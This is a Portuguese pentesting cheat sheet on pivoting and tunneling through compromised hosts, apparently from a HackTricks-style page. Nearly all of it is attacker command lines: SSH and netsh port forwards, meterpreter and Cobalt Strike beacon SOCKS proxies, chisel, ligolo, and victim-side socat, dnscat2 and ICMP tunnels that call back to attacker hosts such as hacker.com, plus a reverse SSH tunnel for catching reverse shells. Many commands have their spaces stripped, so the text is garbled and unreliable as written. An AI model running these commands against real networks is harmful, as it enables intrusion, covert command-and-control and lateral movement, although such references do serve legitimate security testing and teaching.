ICMP e SYN scans não podem ser tunelados através de proxies socks, então devemos desativar a descoberta de ping (-Pn) e especificar scans TCP (-sT) para que isso funcione.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
Conexão gráfica SSH (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
Abra nova porta no servidor SSH --> Outra porta
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Porta local --> Host comprometido (SSH) --> Terceira_caixa:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Porta Local --> Host comprometido (SSH) --> Onde quer que seja
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Você precisa de root em ambos os dispositivos (já que você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Porta local --> Host comprometido (sessão ativa) --> Terceira_caixa:Port
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Outra maneira:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para rotear o tráfego através do beacon.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
Neste caso, a porta é aberta no host beacon, não no Servidor da Equipe, e o tráfego é enviado para o Servidor da Equipe e, a partir daí, para o host:porta indicado.
O reverso de porta do Beacon é projetado para túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais.
O tráfego é tuneado dentro do tráfego C2 do Beacon, incluindo links P2P.
Privilégios de administrador não são necessários para criar reversos de porta em portas altas.
rPort2Port local
Neste caso, a porta é aberta no host do beacon, não no Servidor da Equipe e o tráfego é enviado para o cliente Cobalt Strike (não para o Servidor da Equipe) e a partir daí para o host:porta indicado.
Você pode baixá-lo na página de lançamentos de https://github.com/jpillora/chisel
Você precisa usar a mesma versão para cliente e servidor
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
Vinculação e Escuta do Agente
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
Você pode contornar um proxy não autenticado executando esta linha em vez da última no console da vítima:
Crie certificados em ambos os lados: Cliente e Servidor
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Conecte a porta SSH local (22) à porta 443 do host atacante
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço e porta ssh para que possamos ter uma conexão reversa. Então, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Você precisa ser um administrador local (para qualquer porta)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Você precisa ter acesso RDP sobre o sistema.
Baixe:
SocksOverRDP x64 Binaries - Esta ferramenta usa Dynamic Virtual Channels (DVC) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por tunneling de pacotes sobre a conexão RDP.
No seu computador cliente, carregue SocksOverRDP-Plugin.dll assim:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Agora podemos conectar ao vítima via RDP usando mstsc.exe, e devemos receber um prompt dizendo que o plugin SocksOverRDP está habilitado, e ele irá escutar em 127.0.0.1:1080.
Conecte-se via RDP e faça o upload e execute no computador da vítima o binário SocksOverRDP-Server.exe:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
netstat -antb | findstr 1080
Agora você pode usar Proxifierpara fazer proxy do tráfego através daquela porta.
Proxificar Aplicativos GUI do Windows
Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando Proxifier.
Em Profile -> Proxy Servers adicione o IP e a porta do servidor SOCKS.
Em Profile -> Proxification Rules adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
Bypass de proxy NTLM
A ferramenta mencionada anteriormente: RpivotOpenVPN também pode contorná-lo, definindo essas opções no arquivo de configuração:
Ele se autentica contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Então, você pode usar a ferramenta de sua escolha através dessa porta.
Por exemplo, encaminhe a porta 443.
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Agora, se você configurar, por exemplo, o serviço SSH na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.
Você também poderia usar um meterpreter que se conecta a localhost:443 e o atacante está escutando na porta 2222.
Estabelece um canal C&C através do DNS. Não precisa de privilégios de root.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
No PowerShell
Você pode usar dnscat2-powershell para executar um cliente dnscat2 no powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Mudar o DNS do proxychains
Proxychains intercepta a chamada gethostbyname da libc e encaminha a solicitação DNS tcp através do proxy socks. Por padrão, o servidor DNS que o proxychains usa é 4.2.2.2 (hardcoded). Para mudá-lo, edite o arquivo: /usr/lib/proxychains3/proxyresolv e altere o IP. Se você estiver em um ambiente Windows, pode definir o IP do controlador de domínio.
Root é necessário em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngroké uma ferramenta para expor soluções à Internet em uma linha de comando.
&#xNAN;Exposition URI são como:UID.ngrok.io
Instalação
Crie uma conta: https://ngrok.com/signup
Download do cliente:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
É também possível adicionar autenticação e TLS, se necessário.
Tunneling TCP
# Pointing to 0.0.0.0:4444./ngroktcp4444# Example of resulting link: 0.tcp.ngrok.io:12345# Listen (example): nc -nvlp 4444# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Expondo arquivos com HTTP
./ngrokhttpfile:///tmp/httpbin/# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Capturando chamadas HTTP
Utilizado para XSS, SSRF, SSTI ...
Diretamente do stdout ou na interface HTTP http://127.0.0.1:4040.
Tunelando serviço HTTP interno
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"
ngrok.yaml exemplo de configuração simples
Ele abre 3 túneis:
2 TCP
1 HTTP com exposição de arquivos estáticos de /tmp/httpbin/